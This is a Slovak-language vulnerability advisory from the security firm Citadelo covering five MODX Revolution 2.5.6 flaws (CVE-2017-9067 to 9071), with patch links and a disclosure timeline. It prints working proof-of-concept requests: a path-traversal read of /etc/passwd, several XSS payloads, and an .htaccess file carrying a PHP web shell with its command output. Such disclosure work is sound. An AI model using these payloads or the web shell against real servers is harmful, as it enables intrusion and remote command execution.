modx-cms-security

MODX Revolution CMS 2.5.6

Overview

Modx Revolution je skvelé CMS, ktoré je Open Source, užívateľsky prívetivé a jednoduché na použitie. Avšak, vo verzii 2.5.6 a nižších sme identifikovali viacero bezpečnostných zraniteľností.

Unauthenticated Local File Inclusion

Útočník dokáže načítať a vykonať ľubovoľný súbor na serveri vďaka nedostatočnej filtrácii používateľom zadaného argumentu action. Avšak útočník dokáže zneužiť túto zraniteľnosť iba v prípade, že server používa PHP verzie 5.3.3, čo je minimálna podporovaná verzia PHP pre Modx Revolution 2.5.6.

Požiavka, pri ktorej je načitaný (a vykonaný) súbor /etc/passwd:

GET /setup/index.php?action=../../../../../../../etc/passwd%00 HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Cookie: PHPSESSID=20410ami2ep7vpa0bt33bcv464

Patch: https://github.com/modxcms/revolution/pull/13422

https://github.com/modxcms/revolution/pull/13428

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9067

Multiple Unauthenticated XSSs

Útočník dokáže vykonať útok typu Reflected XSS vložením nebezpečných znakov do niekoľkých položiek na stránke inštalácie.

GET /setup/index.php?action=database&amp;database_type=<strong><script>alert(1)<script> HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: modx_setup_language=en; PHPSESSID=20410ami2ep7vpa0bt33bcv464

Patch:

https://github.com/modxcms/revolution/pull/13424

CVE:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9068

Authenticated Code Execution

Používateľ CMS s oprávnením nahrávať súbory dokáže vykonávať ľubovoľný serverový kód. CMS blokuje súbory s nebezpečnou príponou, akými su napríklad .php alebo .exe avšak súbor s príponou .htaccess je povolený. Používateľ teda dokáže nahrať súbor s názvom .htaccess do špecifikovaného priečinka. Tento súbor môže obsahovať php kód, ktorý je pripojený ku každému požadovanému súboru s príponou .php v danom priečinku.

Možný scenár:

1, Útočník sa prihlási do Modx Revolution

2, Útočník nahrá súbor s názvom .htaccess a nasledujúcim obsahom:

php_value auto_prepend_file .htaccess
php_value output_buffering 1

###### SHELL ###### <?php ob_clean(); if ($_GET['c'] != '') { passthru($_GET['c']." 

3, Útočník následne navštívi URL http://localhost/?c=ls%20-al, pričom dostáva nasledujúci výstup:

total 29252
drwxrwxrwx 2 root root        0 Apr 10 15:45 .
drwxrwxrwx 2 root root        0 Apr  7 13:51 ..
-rwxrwxrwx 1 root root      244 Apr 10 15:44 .htaccess
drwxrwxrwx 2 root root        0 Mar 29 11:53 assets
-rwxrwxrwx 1 root root      294 Mar 29 11:53 config.core.php
drwxrwxrwx 2 root root        0 Mar 29 11:50 connectors
drwxrwxrwx 2 root root        0 Mar 29 11:53 core
-rwxrwxrwx 1 root root   198719 Mar 23 16:24 dump.sql
-rwxrwxrwx 1 root root     3441 Mar 28 08:42 ht.access
-rwxrwxrwx 1 root root     1922 Mar 28 08:42 index.php
drwxrwxrwx 2 root root        0 Mar 29 11:50 manager
drwxrwxrwx 2 root root        0 Apr  3 11:13 setup

Patch:

https://github.com/modxcms/revolution/pull/13423

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9069

Authenticated Stored XSS

Pouzívateľ CMS s oprávnením upravovať príspevky dokáže vložiť ľubovoľný skript do názvu nejakého príspevku. Tento skript je vykonaný pri každom zobrazení tohto príspevku.

Požiavka, pri ktorej je vytvorený príspevok s názvom, ktorý obsahuje podstrčený skript:

POST /connectors/index.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 3823
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfuNRFVB7kulIsnU4
Cookie: PHPSESSID=vicnm3b9laomhm7pllfgnbdf95

------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="pagetitle"

<strong>home'"><svg/onload=alert(document.domain)//</strong>
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="longtitle"

Congratulations!
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="description"

...

Keď používateľ navštívi daný príspevok, zobrazí sa mu hlásenie s aktuálnou doménou.

Patch:

https://github.com/modxcms/revolution/pull/13415

CVE:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9070

Unauthenticated XSS via HOST header

Útočník dokáže vykonať útok typu XSS vložením nebezpečných znakov do hlavičky HOST. Avšak, prevedenie tohto útoku je málo pravdepodobné. Útočník musí použiť napríklad techniku Cache Poisoning.

Požiadavka s podstrčeným skriptom v hlavičke HOST:

GET / HTTP/1.1
Host: localhost"<svg onload=alert(1)>
Connection: close
Content-Length: 0

Patch:

https://github.com/modxcms/revolution/pull/13426

CVE:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9071

Riešenie

Modx Revolution 2.5.7 obsahuje záplaty na všetky spomínané zraniteľnosti, odporúčame preto aktualizovať CMS na najnovšiu verziu.

Report timeline

29.3.2017 Dodávateľ bol informovaný o uvedených zraniteľnostiach

21.4.2017 Dodávateľ vydal novú verziu Modx Revolution s opravenými zraniteľnostiami

26.4.2017 Zverejnené zraniteľnosti

18.5.2017 Priradené CVE

Kredit

Tieto chyby našiel Tomáš Melicher zo spoločnosti Citadelo.

Referencie

https://forums.modx.com/thread/102084/modx-revolution-2-5-7-a-little-more-secure

https://raw.githubusercontent.com/modxcms/revolution/v2.5.7-pl/core/docs/changelog.txt

About the author

Citadelo
Citadelo je dom plný etických hackerov na vašej strane. Pomáhame otestovať ich informačnú bezpečnosť. Podrobte svoje IT prostredie výzve a odhaľte, do akej miery sú vaše citlivé dáta chránené.
Zobraziť viac od autora

Related posts

Citadelo Security Evening - jeseň 2017

Blog | | Citadelo
Hackerské tipy, odhalenie zraniteľnosti s medzinárodným dopadom a ako ukradnúť milióny. Nie, to nie sú názvy filmov, ale témy prednášok, ktoré odzneli na Citadelo Security Evening (CSE)
Zobraziť

WPA2 prelomená. Viete ako ochrániť svoje dáta?

Blog | | Citadelo
Bezpečnostný analytik Mathy Vanhoef zverejnil širokej verejnosti vážnu bezpečnostnú chybu vo WPA2 protokole. WPA2 protokol sa bežne používa na šifrovanie komunikácie pri použití Wi-Fi, jeho predchodcovia sú WPA a WEP.
Zobraziť

Odhalili sme zraniteľnosť CMS Made Simple

Blog | | Citadelo
CMS Made Simple je voľne dostupný, open source CMS. Pozreli sme sa bližšie na zraniteľnosť CMS Made Simple a o výsledok sme sa s vami podelili.
Zobraziť

Úspešne sme absolvovali certifikáciu OSCP

Blog | | Citadelo
OSCP je skúška, ktorá preverí teoretické aj praktické znalosti. Narozdiel od iných skúšok, OSCP a jej úspešné absolvovanie hovorí o určitej znalosti držitela certifikátu.
Zobraziť